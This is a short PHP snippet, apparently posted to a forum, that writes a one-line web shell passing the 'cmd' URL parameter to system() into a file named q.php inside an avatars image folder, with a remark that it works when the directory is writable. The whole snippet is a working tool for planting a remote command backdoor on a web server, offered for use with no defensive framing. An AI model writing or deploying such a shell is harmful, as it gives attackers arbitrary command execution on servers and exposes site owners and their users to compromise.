<?php
$shell="<?php system(\$_GET[cmd]);?>";
$fopen=fopen("img/avatars/q.php","a+");
fwrite($fopen,$shell);
?>

Make so if you have access in that directory then all will work..

__________________